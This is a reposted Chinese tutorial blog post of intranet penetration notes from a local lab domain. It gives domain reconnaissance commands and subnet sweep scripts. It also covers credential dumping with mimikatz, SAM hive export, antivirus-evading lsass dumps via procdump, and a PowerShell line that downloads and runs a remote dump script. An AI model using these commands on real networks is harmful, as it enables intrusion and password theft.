1.我所了解的內網滲透


最近看了一點內網滲透的學習資料,感覺內網滲透需要的知識太多,遂寫博客來記錄下自己學習內網滲透的一些筆記。

開篇首先推薦i春秋陳小兵老師在技術沙龍上的分享:https://www.ichunqiu.com/open/61711

並看大佬的一篇msf內網穿透文章:https://www.freebuf.com/articles/network/125278.html

其中內網滲透常見的幾個問題:

 

1.防火牆穿透 
2.木馬免殺穿透
3.內網信息收集及目標定位
4.關於文件下載

而內網滲透也分為 域滲透 與 工作組滲透

域滲透:

1.域信息收集 
2.獲取域權限 
3.dump域hash 
4.內網權限維持

工作組滲透:

1.常規內網滲透 
2.各種欺騙攻擊

如果非要說內網滲透的思路:

1.內網環境下先查看網絡架構。例如 網段信息 域控 DNS服務器 時間服務器 
2.收集到了足夠多的信息可以掃一下開放端口 21 22 80 8080 443等確定敏感信息,以及之后滲透的方向 
3.通過以上信息進行一定的弱口令嘗試,針對特定的軟件做banner采集利用,snmp測試讀取和寫入權限 
4.進行一些提權操作,從橫向和縱向對目標服務器進行滲透。
5.進行敏感信息挖掘,內網密碼收集嗅探,同時擦出入侵足跡。

內網滲透在我感覺一種是拿下內網一台主機權限,外網端口轉發或者協議代理進內網,或者通過vpn連接進入內網,另一種是通過物理方法連入內網,比如通過網線,wifi熱點進入內網等。不過最終的目的一樣,只是連接過程不同,第一種比第二種要多一個”橋梁“。

如何拿下一個網站權限,這里不再多說,各有各的運氣,各有各的技術。

具體的端口轉發與協議代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html

這里主要學習得到一台主機權限后,如何在主機所在內網翻出更大的浪花。

-----------------------------------

博主在本地搭建了域環境:

DC:windows2008  192.168.0.108

DM:windows2003 192.168.0.107

DM:windows xp  192.168.0.105


1|01 域信息收集

1|11.內網信息探測常用命令

1|22.網絡環境的判斷

1|33.內網存活主機探測

1|44.hash與明文

---------------------------

1.內網信息探測常用命令

拿下一台內網機器,首先要定位內網機器的架構。

收集基本信息:

ipconfig /all                ------ 查詢本機IP段,所在域等
net user                     ------ 本機用戶列表
net localgroup administrators            ------ 本機管理員[通常含有域用戶]
net user /domain                         ------ 查詢域用戶
net group /domain                        ------ 查詢域里面的工作組
net group "domain admins" /domain        ------ 查詢域管理員用戶組
net localgroup administrators /domain    ------ 登錄本機的域管理員
net localgroup administrators workgroup\user001 /add   ------域用戶添加到本機
net group "domain controllers" /domain        ------ 查看域控制器(如果有多台)
net time /domain                   ------ 判斷主域,主域服務器都做時間服務器
net config workstation             ------ 當前登錄域
net session                        ------ 查看當前會話
net use \\ip\ipc$ pawword /user:username      ------ 建立IPC會話[空連接-***]
net share                          ------  查看SMB指向的路徑[即共享]
net view                           ------ 查詢同一域內機器列表
net view \\ip                      ------ 查詢某IP共享
net view /domain                   ------ 查詢域列表
net view /domain:domainname        ------ 查看workgroup域中計算機列表
net start                          ------ 查看當前運行的服務
net accounts                       ------  查看本地密碼策略
net accounts /domain               ------  查看域密碼策略
nbtstat –A ip                      ------netbios 查詢
netstat –an/ano/anb                ------ 網絡連接查詢
route print                        ------ 路由表tasklist /V                        ----- 查看進程[顯示對應用戶]
tasklist /S ip /U domain\username /P /V             ----- 查看遠程計算機進程列表
qprocess *                         ----- 類似tasklist
qprocess /SERVER:IP                ----- 遠程查看計算機進程列表
nslookup –qt-MX Yahoo.com          ----- 查看郵件服務器
whoami /all                        ----- 查詢當前用戶權限等
set                                ----- 查看系統環境變量
systeminfo                         ----- 查看系統信息
qwinsta                            ----- 查看登錄情況
qwinsta /SERVER:IP                 ----- 查看遠程登錄情況
fsutil fsinfo drives               ----- 查看所有盤符
gpupdate /force                    ----- 更新域策略cmdkey /l                          ----- 看是否保存了登陸憑證。(攻擊者會先查看管理員是否保留了登陸憑證,方便后續的憑證抓取。)  echo %logonserver%                 ----- 查看登陸域

 這里有一個特殊的用戶叫做krbtgt,該用戶是用於Kerberos身份驗證的賬戶,獲得了該用戶的hash,就可以偽造票據傳遞攻擊

2.網絡環境的判斷

1.機器所處位置區域的判斷;

2.機器在內網中角色的判斷;

3.進出口流量是否連通的判斷,是否出的去,進得來

-------------------------------------

(1) 位置的判斷

位置判斷是指機器處於網絡拓撲中的某個區域,是在DMZ區,辦公網,還是核心區,核心DB等多個位置,當然這里的區域並不是絕對的,只是大概的一個環境,不同的地方網絡環境不一樣,區域的界限也不一定明顯。

(2) 角色的判斷

機器角色的判斷指判斷已經控制的機器是普通Web服務器、開發測試服務器、公共服務器、文件服務器還是代理服務器、DNS服務器、存儲服務器等等。具體的判斷是通過對機器內的主機名、文件、網絡連接等多種情況進行綜合判斷的。

(3)連通性的判斷

出口流量是否連通的判斷指機器是否能上外網這些,要綜合判斷協議(tcp\http\dns\icmp等協議)與端口(常見能出去的端口有80,8080,443,53,110,123等)。在這里還有一種是網絡內網設置了代理服務器的情況,攻擊者通常會查看環境變量set,主機名是否有proxy字樣的機器,注冊表是否有寫明代理地址或指定pac代理文件等。

3.內網存活主機探測

icmp掃描

基於icmp的各種內網主機發現方式,如果防火牆過濾的icmp請求,這種方式基本就廢了,但是基本上都不會過濾icmp協議的請求。除了本身自帶的命令,也可以考慮使用第三方程序,比如cping。

在windows下使用icmp掃描

  • cmd中執行如下命令,對整個C段進行ping掃描

 

cmd回顯:   for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"導出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)

 

  • 利用powershell對目標內網進行icmp掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000" 目標網段,並非僅限C段,比如你也可以寫成這種方式`192.168.0.1 - 192.168.0.254`

 windows 2003與windows xp需要安裝powershell1.0:官方下載地址

 關於powershell在內網滲透中的作用,請看下一篇文章,這里不再細說。

在linux下使用各類icmp掃描

  • shell中執行linux腳本進行掃描
#!/bin/bash
for ip in 192.168.0.{1..254} 
do 
    ping $ip -c 1 &> /dev/null 
        if [ $? -eq 0 ];then 
            echo $ip is alive .... 
        fi 
done

 或者

for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
  • nmap的icmp掃描
nmap -sn -PE 192.168.0.1/24

如果是物理方法連接內網,可直接進行探測。如果僅有一台內網主機權限,可以作端口轉發,感覺比較靠譜的還是配置SOCKS5內網代理,使用proxychains配合nmap使用,或者使用msf中的模塊先掛內網代理,使用scanner模塊進行掃描,或者把內網已getshell的機器配置成跳板機,來借力打力。

arp掃描

在windows下使用arp掃描:

  • arpscan工具掃描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt

arpscan.exe下載地址:https://www.2cto.com/soft/201001/16987.html#download

所需dll文件:https://cn.dll-files.com

  • powershell調用arpscan掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"  >> result.txt

在linux下使用arp掃描:

  • nmap的arp掃描
nmap -sn -PR 192.168.0.1/24  嘗試arp掃描
  • netdiscover掃描
netdiscover -r 192.168.0.1/24 -i eth0
  • msf的arp掃描模塊
msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set  interface eth0
msf > set  smac 00:0c:29:92:fd:85
msf > set  rhosts 192.168.0.1/24
msf > set  threads 20
msf > set  shost 192.168.0.133 (偽造源ip)
msf > run
  • msf獲取一個shell
meterpreter > getsystem     另外,在目標機器上掃描時,務必先提權(個人建議,會方便很多),不然掃描過程中可能會有些問題
meterpreter > run autoroute -s 192.168.0.1/24  (添加路由)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24meterpreter > run 

基於smb和netbios的內網主機發現方式

windows下nbt掃描:

nbtscan.exe -m 192.168.0.1/24 非常經典的小工具

nbtscan.exe工具下載地址:http://www.unixwiz.net/tools/nbtscan.html#download

linux下nbt掃描:

nbtscan.exe -r 192.168.0.1/24

域內掃描

net view dsquery computer 其實,域內最好用的也就是nbtscan了

如果計算機名很多的時候,可以利用bat批量ping獲取ip

 
 
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)
)
)

4.hash與明文

抓取hash最好的工具莫過於mimikatz,不過免殺是個問題。

從 sam 數據庫中提取目標系統本地用戶密碼 hash

  • 在線讀取sam數據庫

(1) 使用mimikatz提取系統hash與明

privilege::debug
token::elevate
lsadump::samsekurlsa::logonPasswords  (獲取明文用戶口令)

破解出的NTLM可以嘗試CMD5破解:

或者嘗試 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php

簡單密碼可以直接明文顯示

(2) 使用pwdump7提取系統密碼hash

下載地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip

需要管理員權限執行:

可以看到已經提取出hash

(3) 使用powershell腳本提取hash

hash腳本下載地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1

管理員權限執行powershell命令

powershell -ep bypass -f Invoke-PowerDump.ps1
  • 離線讀取 sam 數據庫

獲取當前系統的 sam 數據庫文件,在另一個系統下讀取

導出 sam 數據庫文件有以下兩種實現方法:

(1) 保存注冊表

管理員權限,利用 reg 將 sam,system和 security文件導出來,並保存在本地:

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit

可以看到已提取出hash

參考鏈接:通過SAM數據庫獲得本地用戶hash

通過 dump lsass.exe 進程數據離線免殺抓取明文

(1) 通過procdump.exe提取出明文

procdump.exe工具下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

有時遇到殺軟,直接在目標機器上抓取密碼可能會被殺,這時可以先利用 procdump 把 lsass.exe 進程中的數據導出到指定文件中,再把導出的文件下回到本地用 mimikatz 讀取文件中的密碼hash,以實現免殺效果,不過需要注意的是,本地讀取文件的系統平台和目標的系統需要完全一致。

先在目標機器上執行:

32位機器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位機器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

本地使用mimikatz讀取文件中的密碼hash

mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full

可以看到已經提取出系統中的hash與明文

(2) powershell調用dump腳本

# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本機執行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

關於windows10/2012r2 以后系統的明文密碼抓取方式

在windows10/2012r2 之后的系統版本中,默認情況下是禁用了在內存緩存中存儲系統用戶明文密碼,此時使用mimikatz去抓取密碼,會顯示null。

解決方法為:修改注冊表 ---> 抓取windows server 2012 & 2016 & win8明文密碼


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM